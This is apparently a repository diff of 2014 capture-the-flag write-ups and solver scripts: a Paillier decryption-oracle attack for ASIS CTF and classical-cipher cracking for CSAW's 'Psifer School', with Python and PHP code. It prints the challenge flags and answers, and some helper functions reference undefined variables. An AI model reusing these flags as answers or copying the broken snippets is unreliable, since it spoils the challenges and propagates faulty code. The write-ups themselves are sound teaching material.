What's the 101 way to search for a number? [Binary search], of course! Adapting one of [my scripts], I wrote the snippet below to look for this number:
|
||||
|
||||
|
||||
```python
|
||||
|
||||
import decimal
|
||||
import socket
|
||||
|
||||
def bs_paillier(lo, hi, s):
|
||||
if hi < lo: return None
|
||||
mid = (hi + lo) / 2
|
||||
print("We are at: ")
|
||||
print(mid)
|
||||
|
||||
s.send(b'E')
|
||||
s.recv(4096)
|
||||
s.recv(4096)
|
||||
s.send(str(mid))
|
||||
ans = s.recv(4096)
|
||||
print ans
|
||||
|
||||
if 'None' in ans:
|
||||
print "Found it!"
|
||||
return mid + 1
|
||||
elif 'Your message is' in ans:
|
||||
return bs_paillier(lo, mid-1, s)
|
||||
else:
|
||||
return bs_paillier(mid+1, hi, s)
|
||||
|
||||
def get_mod_paillier():
|
||||
|
||||
# create socket, answer first question
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
s.connect((HOST, PORT))
|
||||
s.recv(4096)
|
||||
s.send(b'paillier')
|
||||
s.recv(4096)
|
||||
|
||||
# start binary search
|
||||
hi, lo = 11**307, 10**307
|
||||
mod = bs_paillier(lo, hi, s)
|
||||
print mod
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
PORT = 12445
|
||||
HOST = 'asis-ctf.ir'
|
||||
|
||||
get_mod_paillier()
|
||||
```
|
||||
|
||||
The script took around 5 minutes to be finished, returning our **n**. We are ready to break this system!
|
||||
|
||||
|
||||
|
||||
### Convoluting and Decrypting the Answer
|
||||
|
||||
We use the first **homomorphic** propriety to craft a message which will give us the flag:
|
||||
|
||||
```python
|
||||
def convolution(e1, e2, m2, mod):
|
||||
return (e1 * e2 )%(mod*mod)
|
||||
```
|
||||
|
||||
This returns:
|
||||
|
||||
```
|
||||
112280008116052186646368021111109237871341887479615992317427354059600212357857288108129264030737539972269011409996912208818076010168198529262326772763879996822102998582534816837233418191109543582310863266347760528961946352593880742472731062537568071764692096627743690922908221673060800965135164509962029222789740380393803936034322030637125612078147029021325858011668393839188326210425016990153989714767763564793169128967154011677910768035056556423954036535193602627342043345257626256977045594687342553610052190731351090959432138598081567054374046432685112246445454537701332996220698854386609070078979440083610540257
|
||||
```
|
||||
|
||||
Sending it back with the decrypting option returns our (possible) **flag minus 1** (remember, **this is the message 2**).
|
||||
|
||||
|
||||
|
||||
### Getting the Flag!
|
||||
|
||||
Of all the possible options of decoding our flag, it was obvious that they were hexadecimal values that should be converted to ASCII.
|
||||
|
||||
It also helped the fact that I had in mind the ASCII representation of the word *ASIS*, which is given by *41 53 49 53*:
|
||||
|
||||
```sh
|
||||
$ python -c "print '0x41534953'[2:].decode('hex')"
|
||||
ASIS
|
||||
```
|
||||
|
||||
This is easier with the following script:
|
||||
|
||||
```python
|
||||
def print_hex(secret):
|
||||
# cutting L in the end
|
||||
a = hex(secret)[:-1]
|
||||
# cutting the \x symbol
|
||||
b = a[2:].decode('hex')
|
||||
return b
|
||||
```
|
||||
|
||||
Running it, we get the hexadecimal form of our flag:
|
||||
```
|
||||
32487808320243150435316584796155571093777738593139558163862909500838275925645449950017590
|
||||
```
|
||||
And its ASCII decoding returns the flag:
|
||||
``` sh
|
||||
The flag is:
|
||||
ASIS_85c9febd4c15950ab1f19a6bd7a94f87
|
||||
|
||||
```
|
||||
|
||||
|
||||
|
||||
----
|
||||
|
||||
[Paillier cryptosystem]: http://en.wikipedia.org/wiki/Paillier_cryptosystem
|
||||
[here]: https://github.com/bt3gl/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-ASIS-CTF/crypto_paillier
|
||||
[modulo]: http://en.wikipedia.org/wiki/Modulo_operation
|
||||
[oracle]: http://en.wikipedia.org/wiki/Oracle_machine
|
||||
[ASIS CTF]: http://asis-ctf.ir/home/
|
||||
[Binary search]:http://en.wikipedia.org/wiki/Binary_search_algorithm
|
||||
[my scripts]: https://github.com/bt3gl/Python-and-Algorithms-and-Data-Structures/tree/master/src/searching_and_sorting/searching
|
||||
|
|
@ -0,0 +1,49 @@
|
|||
import Crypto.Util.number as cry
|
||||
import gmpy
|
||||
import random
|
||||
|
||||
def generate_keys(nbits):
|
||||
p = cry.getPrime(nbits//2)
|
||||
q = cry.getPrime(nbits//2)
|
||||
n = p*q
|
||||
g = n+1
|
||||
l = (p-1)*(q-1)
|
||||
mu = gmpy.invert(((p-1)*(q-1)), n)
|
||||
return (n, g, l, mu)
|
||||
|
||||
def encrypt(key, msg, rand):
|
||||
n_sqr = key[0]**2
|
||||
return (pow(key[1], msg, n_sqr)*pow(rand, key[0], n_sqr) ) % n_sqr
|
||||
|
||||
def decrypt(key, cipher):
|
||||
return (((pow(cipher, key[2], key[0]*key[0]) - 1)// key[0]) * key[3]) % key[0]
|
||||
|
||||
def get_random_number(n):
|
||||
return random.randint(n//2, n*2)
|
||||
|
||||
def decrypt2(key, cipher):
|
||||
n_sqr = key.modulus * key.modulus
|
||||
# Remove random factor from the encryption.
|
||||
noise = pow(RANDOM, key.modulus, n_sqr)
|
||||
invnoise = gmpy.invert(noise, n_sqr)
|
||||
normalized = (cipher * invnoise) % n_sqr
|
||||
# The n^2 modulus isn't a hard case of the discrete logarithm problem.
|
||||
return ((normalized-1)//key.modulus) // ((key.generator-1)//key.modulus)
|
||||
|
||||
def paillier_poc():
|
||||
N_BITS = 1024
|
||||
MSG = 1337
|
||||
|
||||
key = generate_keys(N_BITS)
|
||||
rand = get_random_number(N_BITS)
|
||||
|
||||
cipher = encrypt(key, MSG, rand)
|
||||
decipher = decrypt(key, cipher)
|
||||
|
||||
print("The message is {}\n".format(MSG))
|
||||
print("The cipher is {}\n".format(cipher))
|
||||
print("The decipher is {}\n".format(decipher))
|
||||
|
||||
if __name__ == '__main__':
|
||||
paillier_poc()
|
||||
|
||||
0
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/README.md
Normal file
0
CTFs_and_WarGames/CTFs_Writeups/CSAW-quals/README.md
Normal file
|
|
@ -0,0 +1,293 @@
|
|||
# CSAW CTF 2014 - Cryptography 200 - Psifer School
|
||||
|
||||
|
||||
The problem starts with the following text:
|
||||
|
||||
> There's no heartbleed here. Why don't we use these ciphers?
|
||||
>
|
||||
> nc 54.209.5.48 12345
|
||||
>
|
||||
> Written by psifertex
|
||||
|
||||
|
||||
------
|
||||
|
||||
## Stage One: Caesar Cipher
|
||||
|
||||
|
||||
#### Connecting to the Server
|
||||
|
||||
We start typing the **netcat** command in the terminal:
|
||||
|
||||
```sh
|
||||
nc 54.209.5.48 12345
|
||||
```
|
||||
|
||||
We get the following message back:
|
||||
|
||||
> Welcome to psifer school v0.002
|
||||
>
|
||||
> Your exam begins now. You have 10 seconds, work fast.
|
||||
>
|
||||
> Here is your first psifer text, a famous ancient roman would be proud if you solve it.
|
||||
>
|
||||
> psifer text: **wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh**
|
||||
>
|
||||
>Time's up. Try again later.
|
||||
|
||||
This text gives a cipher ``` wkh dqvzhu wr wklv vwdjh lv vxshuvlpsoh``` and the hint *a famous ancient roman would be proud*. That's all we need to decipher it!
|
||||
|
||||
|
||||
#### Frequency Analysis
|
||||
The famous roman is **Caesar**, and [his cryptographic scheme] is one of the simplest possible. This cipher is also known as **rotation cipher**, because all we do is rotating the letters by some value (the **key**). A modern version of it is called **ROT13**, meaning **rotation by 13 places**. This is a simple letter substitution cipher which replaces each letter with the 13th letter after it in the alphabet. In this case, we say that the *key is 13*.
|
||||
|
||||
In our problem, we don't know the key. However, there is a method to circumvent it: we can count how many times each letter appears in the text and then we use some previous knowledge about the frequency of each letter in the English words. For example, in the English language, *e*, *t*, *a*, *o*, and *n* are frequent letters while *z* or *v* is not. This means that we can analyze the frequency of each character to determine what's the most probable rotation key.
|
||||
|
||||
To count the frequency of characters in our cipher, we write a snippet that creates a counter [dictionary (hash table)] with all the (lowercase) characters as the dictionary's keys. Note that we could have used Python's [Counter() data-structure] as well. We then iterate through each character in the message, counting their frequency, and returning a sorted list of these values:
|
||||
|
||||
|
||||
```python
|
||||
import string
|
||||
|
||||
def frequency(msg):
|
||||
# Compute the word frequencies
|
||||
dict_freq = dict([(c,0) for c in string.lowercase])
|
||||
diff = 0.0
|
||||
for c in msg.lower():
|
||||
if 'a'<= c <= 'z':
|
||||
diff += 1
|
||||
dict_freq[c] += 1
|
||||
list_freq = dict_freq.items()
|
||||
list_freq.sort()
|
||||
return [b / diff for (a, b) in list_freq]
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
#### Deciphering the Cipher
|
||||
|
||||
|
||||
|
||||
Using a [well-known table of word frequency values], we write a snippet that does the following:
|
||||
|
||||
1. First, for each of the 26 letters, we subtract its known frequency value from the frequency obtained from our message.
|
||||
2. Second, we find what is the minimum value from those subtractions. The closest value is the most probable value for the rotation key.
|
||||
|
||||
|
||||
```python
|
||||
def delta(freq_word, freq_eng):
|
||||
# zip together the value from the text and the value from FREQ
|
||||
diff = 0.0
|
||||
for a, b in zip(freq_word, freq_eng):
|
||||
diff += abs(a - b)
|
||||
return diff
|
||||
|
||||
def decipher(msg):
|
||||
# Decipher by frequency
|
||||
min_delta, best_rotation = 20, 0.0
|
||||
freq = frequency(msg)
|
||||
for key in range(26):
|
||||
d = delta(freq[key:] + freq[:key], FREQ_ENGLISH)
|
||||
if d < min_delta:
|
||||
min_delta = d
|
||||
best_rotation = key
|
||||
return cipher(msg, -best_rotation)
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
Once we have the key, we just plug it back to the cipher algorithm, inverting the rotation to the other side, with ```cipher(msg, -best_rotation)```. In this cipher function, we iterate through all the character in the message, checking whether it's a letter or a special character. If it is the former case we perform the following operations:
|
||||
|
||||
1. We start getting the integer representing the [Unicode] code point of the character.
|
||||
2. To get its position in the alphabet and we subtract it from the Unicode value of *a*, given by **ord('a')** (this is 97).
|
||||
3. We add the key value to it to get the (absolute) shift position.
|
||||
4. Now we need to remember that this cipher is a ring, *i.e*, adding more stuff should always lead to a *spot* within the 26 letters in the alphabet. That's why we apply an [module] operation to this number to get the *relative* position in the letter's table.
|
||||
5. Finally, we just need the value of the shift to the Unicode of *a* to get the position of the character in the cipher.
|
||||
6. Remember we are using *-key*, so instead of making a new cipher, we are using the same steps to rotate the cipher to the other side to recover the message.
|
||||
|
||||
```python
|
||||
def cipher(msg, key):
|
||||
# Make the cipher
|
||||
dec = ''
|
||||
for c in msg.lower():
|
||||
if 'a' <= c <= 'z':
|
||||
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
|
||||
else:
|
||||
dec += c
|
||||
return dec
|
||||
```
|
||||
|
||||
Bingo! The snippets above lead us to our first answer in this problem:
|
||||
|
||||
> the answer to this stage is **supersimple**
|
||||
|
||||
Netcating several times can return other similar answers such as **hopeyouautomate** or **easypeesy** or **notveryhard**. They are all correct.
|
||||
|
||||
|
||||
|
||||
#### Automating the Response
|
||||
|
||||
To advance forward, we need to send one of the above answers to the socket. However, we only **have 10 seconds** to do this! It's clear that we need to automate this problem with a script.
|
||||
|
||||
We can do this in many ways. In Python, for example, we can use the libraries [telnetlib] or [socket] or even writing our [own netcat script]. We will use the former for this exploit. Let us create a telnet connection with:
|
||||
|
||||
```python
|
||||
from telnetlib import Telnet
|
||||
|
||||
PORT = 12345
|
||||
HOST = '54.209.5.48'
|
||||
|
||||
tn = Telnet(HOST ,PORT)
|
||||
```
|
||||
|
||||
In this case, socket reading can be done with ```tn.read_until(b'psifer text: ')```, which reads until a given string is encountered, or ```tn.read_all()```, which reads all data until EOF.
|
||||
|
||||
To write a string to the socket we do ```tn.write(mystring.encode() + b'\n')```. Here, the method [encode()] returns an encoded version of the string, *i.e* a translation of a sequence of bytes to a Unicode string.
|
||||
|
||||
|
||||
As a side note, if we had decided to use the [socket] library to create a *TCP socket*, the process would be easy as well:
|
||||
|
||||
```python
|
||||
s = socket(AF_INET, SOCK_STREAM)
|
||||
s.connect(HOST)
|
||||
```
|
||||
|
||||
Here ```socket.AF_UNIX, socket.AF_INET, socket.AF_INET6``` are constants that represent the address (and protocol) families. The constants ```socket.SOCK_STREAM, socket.SOCK_DGRAM, socket.SOCK_RAW, socket.SOCK_RDM, socket.SOCK_SEQPACKET```represent the socket types.
|
||||
|
||||
To read the socket stream we would use commands such as ```s.recv(2048)``` and for writing, we could use ```s.sendall(answer)```.
|
||||
|
||||
|
||||
|
||||
#### Decrypting and Sending the Answer
|
||||
Now, back to our problem. After creating the telnet connection, we read whatever comes in:
|
||||
```python
|
||||
tn.read_until(b'psifer text: ')
|
||||
```
|
||||
|
||||
We decode and decrypt the text, and then encode it again:
|
||||
```python
|
||||
msg_in1 = tn.read_until(b'\n').decode().strip()
|
||||
dec_msg_in1 = decipher(msg_in1)
|
||||
answer1 = dec_msg_in1.split()[-1].encode() + b'\n'
|
||||
```
|
||||
|
||||
Finally, we send our answer to the telnet session (the same answer obtained before):
|
||||
```python
|
||||
tn.write(answer1)
|
||||
```
|
||||
|
||||
-----------------------------------------
|
||||
|
||||
## Stage Two: Offset with Special Characters
|
||||
|
||||
The second stage starts with the following message:
|
||||
|
||||
|
||||
> Congratulations, you have solved stage 1. You have 9 seconds left.
|
||||
>
|
||||
> Now it's time for something slightly more difficult. Hint, everybody knows it's
|
||||
> not length that matters.
|
||||
|
||||
Together with the hint *length doesn't matter*, we get the following cipher (translated as a Python string variable because of the special characters):
|
||||
|
||||
```I'lcslraooh o rga tehhywvf.retFtelh mao ae af ostloh lusr bTsfnr, epawlltddaheoo aneviedr ose rtyyng etn aini ft oooey hgbifecmoswuut!oa eeg ar rr h.u t. hylcg io we ph ftooriysneirdriIa utyco gfl oostif sp u"+'""'+"flcnb roh tprn.o h```
|
||||
|
||||
|
||||
To crack this cipher we need to deal with special characters to find the rotation shift. We proceed with the following steps:
|
||||
|
||||
1. We start looping over the length of our message, where for each iteration we create a blank list with the size of the message. This is a bit *space-expensive* and it should be optimized if we needed to scale for larger problems. It's fine for our current problem.
|
||||
|
||||
2. We start a second loop, which will tell us about the shifts. This loop iterates again in the length of the message, this time adding the current character to the list we've created before and updated a pointer to the pacing value given in the first loop. Notice that we have a loop inside another, so this solution has *O(n^2) runtime* and it also should be optimized for larger problems.
|
||||
|
||||
3. Inside this second loop, we check whether the pacing pointer is larger than the length of the message, and if this is the case, we register it in a shift counter. The former pointer receives the value of this shift. This is the end of the second loop.
|
||||
|
||||
4. Back to the first loop, we add all the characters so far from our list into the message string. But when should we stop doing this? Until we make sure that had a rotation that produces real words. I tried a few common words, and 'you' worked just fine!
|
||||
|
||||
|
||||
```python
|
||||
def solve2(msg):
|
||||
# Shift cypher, but dealing with special characters
|
||||
for j in range(2, len(msg)):
|
||||
|
||||
dec_msg = ['0'] * len(msg)
|
||||
idec_msg, shift = 0, 0
|
||||
|
||||
for i in range(len(msg)):
|
||||
dec_msg[idec_msg] = msg[i]
|
||||
idec_msg += j
|
||||
|
||||
if idec_msg > len(msg) - 1:
|
||||
shift += 1
|
||||
idec_msg = shift
|
||||
dec_msg = "".join(dec_msg)
|
||||
|
||||
if "you" not in dec_msg: continue
|
||||
return dec_msg
|
||||
```
|
||||
|
||||
After decoding this stage's cipher we get the key for the next stage, which is then sent back through the socket:
|
||||
|
||||
> I hope you don't have a problem with this challenge. It should be fairly straight forward if you have done lots of basic crypto. The magic phrase for your efforts is "**not not wrong**". For your efforts, you will get another challenge!
|
||||
|
||||
|
||||
|
||||
----
|
||||
|
||||
## Stage Three: Vigenere Cipher
|
||||
|
||||
The next message lets us know that we are close to the end:
|
||||
|
||||
> Congratulations, you have solved stage 2. You have 9 seconds left.
|
||||
> Last one.
|
||||
|
||||
And comes with the following cipher:
|
||||
```
|
||||
MVJJN BQXKF NCEPZ WWVSH YFCSV JEEBB UVRMX HKPIE PMMVZ FOPME ZQIIU EUZZW CGHMV BKBTZ BBHVR MVTQP ENXRM HIRNB WTGDZ CFEDS TKBBW HBFDI KILCM MUUPX WUNIN PWPFJ IEZTP MVQBX ACVKN AEMPV KQXAB ZMDUD ILISV NHKBJ FCIMW HTUVR MNNGU KIFED STLLX XAOUN YVEGV BEXEI BHJNI GHXFI FQFYV VXZFE FXFFH OBVXR MVNLT NHUYY FEZWD GBKEL SGFLM LXBFO NEIOS MZHML XAJUX EIKWH YNAIK SOFLF EEKPI XLSDB PNGHV XHFON MSFOL VMNVX HIRNB XBGTF FOEUZ FZMAS NZEGL HFTPM PDNWM DVKCG WHAFE OKWXF ZIBRQ XCSJI FIMVJ EAFEK MIRXT PBHUC YEEFP MZNMP XZBDV EMMHM VFTQU ABISA EWOMZ NMPXZ BDVPL HGFWF XISSX RMPLB HFRML RHKJU IGXPO OKNHQ TYFKB BWAOS UYKXA OOZNG IXRTK IUIBT ZFOOI LCMMY WEECU FZLMF DMVWK CIHPT BTPES OXYLC HIQII UEUZZ RFKIT RZYUO IMVFT IWITB ENCEP UFFVT XVBUI KNAVH IHYCM MYWUY YETLA PJNHJ MVFGF TMGHF ONBWL HBKCV EMSBT BHJMV FCYOI EGJDH HXTAB JIVLB GUKBX JNBOP NAMGU JJNAE MRFGY GHBBH FHPLB QIIUG HHALV SRSNU FKNAE MDPVG FMZVU SYXBT QUCSM LXFJX BMSYT TVNMS LIDTY LWY
|
||||
```
|
||||
|
||||
This is a **[Vigenere Cipher]**, which is basically several Caesar ciphers in sequence, with different shift values, given by a key-word. Finding these shifts when we don't know the key can be done by writing the alphabet 26 times in different rows. In this case, each alphabet is shifted cyclically to the left compared to the previous alphabet (26 Caesar ciphers).
|
||||
|
||||
Although we could use some [online Vigenere cracker] to extract the flag from this text, we will instead write a code. We use Python's library [pygenere], which has the methods ```crack_message()``` to decipher the message and ```crack_codeword()``` to find the key (useful because we don't have the key). We then send our cipher to the following function:
|
||||
|
||||
```python
|
||||
def solve3(msg):
|
||||
key = VigCrack(msg).crack_codeword()
|
||||
dec_msg = VigCrack(msg).crack_message()
|
||||
dec_msg = dec_msg.replace(" ", "")
|
||||
return key, dec_msg
|
||||
```
|
||||
|
||||
This will give us the **key = TOBRUTE** and the deciphered text. After fixing the spaces between the words, we get:
|
||||
|
||||
```
|
||||
THIS TIME WE WILL GIVE YOU MORE PLAINTEXT TO WORK WITH YOU WILL PROBABLY FIND THAT HAVING EXTRA CONTENT THAT IS ASCII MAKES THIS ONE MORE SOLVABLE IT WOULD BE SOLVABLE WITHOUT THAT BUT WE WILL MAKE SURE TO GIVE LOTS OF TEXT JUST TO MAKE SURE THAT WE CAN HANDLE IT I WONDER HOW MUCH WILL BE REQUIRED LETS PUT THE MAGIC PHRASE FOR THE NEXT LEVEL IN THE MIDDLE RIGHT HERE NORMALWORD OK NOW MORE TEXT TO MAKE SURE THAT IT IS SOLVABLE I SHOULD PROBABLY JUST PUT IN SOME NURSERY RHYME OR SOMETHING MARY HADA LITTLE LAMB LITTLE LAMB LITTLE LAMB MARY HADA LITTLE LAMB WHOSE FLEEZE WAS WHITE AS SNOW I DONT WANT TO MAKE THIS HARDER THAN IT NEEDS TO BE IF YOU VE SOLVED A LOT OF SIMPLE CRYPTO CHALLENGES YOU PROBABLY ALREADY HAVE THE CODE AND WILL BREEZE RIGHT THROUGH IT IF IT HELPS MOST OF THE PLAINTEXT IS STATIC AT EACH OF THE LEVELS I M NOT A MASOCHIST THE FUNNY THING IS THAT DEPENDING ON WHICH RANDOMKEY YOU GET THAT POEM MIGHT BE EXACTLY THE RIGHT OFFSET TO SUCCESSFULLY MOUNT AN ATTACK WE LL SEE LITTLE BIT MORE LITTLE BIT MORE THERE,
|
||||
```
|
||||
Reading it carefully give us the last answer for the flag: **NORMALWORD**. Sweet!
|
||||
|
||||
|
||||
|
||||
|
||||
## Final Words
|
||||
|
||||
If you like this solution, take a look at my [exploit for this problem].
|
||||
|
||||
**Hack all the things!**
|
||||
|
||||
[his cryptographic scheme]: http://en.wikipedia.org/wiki/Caesar_cipher
|
||||
[exploit for this problem]: https://github.com/bt3gl/CTFs-Gray-Hacker-and-PenTesting/tree/master/CTFs_and_WarGames/2014-CSAW-CTF/cryptography/crypto-200
|
||||
[scripts from other authors]:https://github.com/bt3gl/CTFs-and-Hacking-Scripts-and-Tutorials/tree/master/2014-CSAW-CTF/cryptography/crypto-200/from_the_net
|
||||
[well-known table of word frequency values]: http://en.wikipedia.org/wiki/Letter_frequency
|
||||
[telnetlib]: https://docs.python.org/2/library/telnetlib.html
|
||||
[socket]: https://docs.python.org/2/library/socket.html
|
||||
[own netcat script]: https://github.com/bt3gl/CTFs-and-Hacking-Scripts-and-Tutorials/blob/master/Tutorials/Useful_Scripts/netcat.py
|
||||
[pygenere]: http://smurfoncrack.com/pygenere/pygenere.php
|
||||
[Vigenere Cipher]: http://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
|
||||
[online Vigenere cracker]: http://smurfoncrack.com/pygenere/
|
||||
[dictionary (hash table)]: https://docs.python.org/2/tutorial/datastructures.html#dictionaries
|
||||
[Counter() data-structure]: https://docs.python.org/2/library/collections.html#collections.Counter
|
||||
[ord()]: https://docs.python.org/2/library/functions.html#ord
|
||||
[module]: http://en.wikipedia.org/wiki/Modulo_operation
|
||||
[Unicode]: http://en.wikipedia.org/wiki/Unicode
|
||||
[encode()]: https://docs.python.org/2/library/stdtypes.html#str.encode
|
||||
|
|
@ -0,0 +1,87 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
|
||||
__author__ = "bt3gl"
|
||||
|
||||
|
||||
import string
|
||||
|
||||
|
||||
FREQ_ENGLISH = [0.0749, 0.0129, 0.0354, 0.0362, 0.1400, 0.0218, 0.0174, 0.0422, 0.0665, 0.0027, 0.0047, 0.0357,0.0339, 0.0674, 0.0737, 0.0243, 0.0026, 0.0614, 0.0695, 0.0985, 0.0300, 0.0116, 0.0169, 0.0028, 0.0164, 0.0004]
|
||||
|
||||
|
||||
|
||||
def delta(freq_word, freq_eng):
|
||||
# zip together the value from the text and the value from FREQ_EdiffGlist_freqISH
|
||||
diff = 0.0
|
||||
for a, b in zip(freq_word, freq_eng):
|
||||
diff += abs(a - b)
|
||||
return diff
|
||||
|
||||
|
||||
|
||||
def cipher(msg, key):
|
||||
# Make the cipher
|
||||
dec = ''
|
||||
for c in msg.lower():
|
||||
if 'a' <= c <= 'z':
|
||||
dec += chr(ord('a') + (ord(c) - ord('a') + key) % 26)
|
||||
else:
|
||||
dec += c
|
||||
return dec
|
||||
|
||||
|
||||
|
||||
def frequency(msg):
|
||||
# Compute the word frequencies
|
||||
dict_freq = dict([(c,0) for c in string.lowercase])
|
||||
diff = 0.0
|
||||
for c in msg.lower():
|
||||
if 'a'<= c <= 'z':
|
||||
diff += 1
|
||||
dict_freq[c] += 1
|
||||
list_freq = dict_freq.items()
|
||||
list_freq.sort()
|
||||
return [b / diff for (a, b) in list_freq]
|
||||
|
||||
|
||||
|
||||
def decipher(msg):
|
||||
# Decipher by frequency
|
||||
min_delta, best_rotation = 20, 0.0
|
||||
freq = frequency(msg)
|
||||
for k in range(26):
|
||||
d = delta(freq[k:] + freq[:k], FREQ_ENGLISH)
|
||||
if d < min_delta:
|
||||
min_delta = d
|
||||
best_rotation = k
|
||||
return cipher(msg, -best_rotation)
|
||||
|
||||
|
||||
|
||||
def decipher_simple(msg):
|
||||
# very smart way of solving using translate and maketrans methods
|
||||
diff = (ord('t') - ord(s[0])) % 26
|
||||
x = string.ascii_lowercase
|
||||
x = x[diff:] + x[:diff]
|
||||
ans = string.translate(s,string.maketrans(string.ascii_lowercase,x))
|
||||
return ans
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
# creating a cipher
|
||||
key = 13
|
||||
text = 'hacker school is awesome!'
|
||||
cipe = cipher(text, key)
|
||||
print "Cipher: " + cipe
|
||||
|
||||
# decyphering
|
||||
with open('cipher.txt', 'r') as f:
|
||||
cip = f.readlines()
|
||||
cip = cip[0].strip()
|
||||
cipe = decipher(cip)
|
||||
print "Decipher: " + cipe
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,238 @@
|
|||
<?php
|
||||
class Vigenere {
|
||||
public static $mVigTable;
|
||||
public static $mKey;
|
||||
public static $mMod;
|
||||
final public function __construct($rKey = false, $rVigTable = false)
|
||||
{
|
||||
self::$mVigTable = $rVigTable ? $rVigTable : 'abcdefghijklmnopqrstuvwxyz';
|
||||
self::$mMod = strlen(self::$mVigTable);
|
||||
self::$mKey = $rKey ? $rKey : self::generateKey();
|
||||
}
|
||||
final public function getKey()
|
||||
{
|
||||
return self::$mKey;
|
||||
}
|
||||
private function getVignereIndex($iPos)
|
||||
{
|
||||
return strpos(self::$mVigTable, $iPos); // todo: catch chars not in table
|
||||
}
|
||||
private function getVignereChar($rVignereIndex)
|
||||
{
|
||||
(int)$iVignereIndex = $rVignereIndex;
|
||||
$iVignereIndex=$iVignereIndex>=0 ? $iVignereIndex : strlen(self::$mVigTable)+$iVignereIndex;
|
||||
return self::$mVigTable{$iVignereIndex};
|
||||
}
|
||||
final public function generateKey()
|
||||
{
|
||||
self::$mKey = '';
|
||||
for ($i = 0; $i < self::$mMod; $i++) {
|
||||
self::$mKey .= self::$mVigTable{rand(0, self::$mMod)};
|
||||
}
|
||||
return self::$mKey;
|
||||
}
|
||||
final public function encrypt($rText, $rKey)
|
||||
{
|
||||
$sEncryptValue = '';
|
||||
$sKey = (String)$rKey;
|
||||
$sText = (String)$rText;
|
||||
|
||||
for($i = 0; $i < strlen($sText); $i++)
|
||||
{
|
||||
(int)$iText = self::getVignereIndex($sText[$i]);
|
||||
(int)$iKey = self::getVignereIndex(self::charAt($sKey, $i));
|
||||
|
||||
$iEncryptIndex = ($iText+$iKey)%(self::$mMod);
|
||||
$iEncryptIndex = self::EnsureKeyValid($iEncryptIndex);
|
||||
$sEncryptValue .= self::getVignereChar($iEncryptIndex);
|
||||
}
|
||||
return $sEncryptValue;
|
||||
}
|
||||
final public function encrypt2($rText, $rKey, $rMod)
|
||||
{
|
||||
(String)$sEncryptValue = '';
|
||||
$sKey = (String)$rKey;
|
||||
$sText = (String)$rText;
|
||||
$iMod = (int)$rMod;
|
||||
|
||||
for($i = 0; $i < strlen($sText); $i++)
|
||||
{
|
||||
(int)$iText = self::getVignereIndex($sText[$i]);
|
||||
(int)$iKey = self::getVignereIndex(self::charAt($sKey, $i));
|
||||
|
||||
$iEncryptIndex = ($iText+$iKey)%($iMod);
|
||||
$iEncryptIndex = self::EnsureKeyValid($iEncryptIndex);
|
||||
$sEncryptValue .= self::getVignereChar($iEncryptIndex);
|
||||
}
|
||||
return $sEncryptValue;
|
||||
}
|
||||
final public function decrypt($rText, $rKey)
|
||||
{
|
||||
(String)$sDecryptValue = '';
|
||||
$sKey = (String)$rKey;
|
||||
$sText = (String)$rText;
|
||||
|
||||
for($i = 0; $i < strlen($sText); $i++)
|
||||
{
|
||||
(int)$iText = self::getVignereIndex($sText[$i]);
|
||||
(int)$iKey = self::getVignereIndex(self::charAt($sKey, $i));
|
||||
|
||||
$iDecryptIndex = ($iText-$iKey)%(self::$mMod);
|
||||
$iDecryptIndex = self::EnsureKeyValid($iDecryptIndex);
|
||||
|
||||
$sDecryptValue .= self::getVignereChar($iDecryptIndex);
|
||||
}
|
||||
return $sDecryptValue;
|
||||
}
|
||||
final public function decrypt2($rText, $rKey, $rMod)
|
||||
{
|
||||
(String)$sDecryptValue = '';
|
||||
$sKey = (String)$rKey;
|
||||
$sText = (String)$rText;
|
||||
$iMod = (int)$rMod;
|
||||
|
||||
for($i = 0; $i < strlen($sText); $i++)
|
||||
{
|
||||
(int)$iText = self::getVignereIndex($sText[$i]);
|
||||
(int)$iKey = self::getVignereIndex(self::charAt($sKey, $i));
|
||||
|
||||
|
||||
$iDecryptIndex = ($iText-$iKey)%($iMod);
|
||||
$iDecryptIndex = self::EnsureKeyValid($iDecryptIndex);
|
||||
|
||||
$sDecryptValue .= self::getVignereChar($iDecryptIndex);
|
||||
}
|
||||
return $sDecryptValue;
|
||||
}
|
||||
private function charAt($rStr, $rPos)
|
||||
{
|
||||
$iPos = (int)$rPos%strlen((String)$rStr);
|
||||
|
||||
return $rStr{$iPos};
|
||||
}
|
||||
|
||||
private function EnsureKeyValid($rIndex)
|
||||
{
|
||||
$iIndex = (int)$rIndex;
|
||||
return ($iIndex >= 0) ? $iIndex : (strlen(self::$mVigTable)+$iIndex);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
function decrypt_final($key,$text){
|
||||
$text = str_replace(" ","", strtolower($text));
|
||||
$key = $key;
|
||||
$plain= new Vigenere($key);
|
||||
$plain= $plain->decrypt($text,$key);
|
||||
return strtoupper($plain);
|
||||
}
|
||||
|
||||
function str_rot($s, $n = 13) {
|
||||
$n = (int)$n % 26;
|
||||
if (!$n) return $s;
|
||||
for ($i = 0, $l = strlen($s); $i < $l; $i++) {
|
||||
$c = ord($s[$i]);
|
||||
if ($c >= 97 && $c <= 122) {
|
||||
$s[$i] = chr(($c - 71 + $n) % 26 + 97);
|
||||
} else if ($c >= 65 && $c <= 90) {
|
||||
$s[$i] = chr(($c - 39 + $n) % 26 + 65);
|
||||
}
|
||||
}
|
||||
return $s;
|
||||
}
|
||||
|
||||
function inStr ($needle, $haystack) { // instr("test","testtest");
|
||||
$needlechars = strlen($needle);
|
||||
$i = 0;
|
||||
for($i=0; $i < strlen($haystack); $i++)
|
||||
{
|
||||
if(substr($haystack, $i, $needlechars) == $needle)
|
||||
{
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
$usenet = fsockopen("54.209.5.48", "12345", $errno, $errstr, 3);
|
||||
first:
|
||||
while (!feof($usenet)) {
|
||||
$kp = fgets($usenet, 128);
|
||||
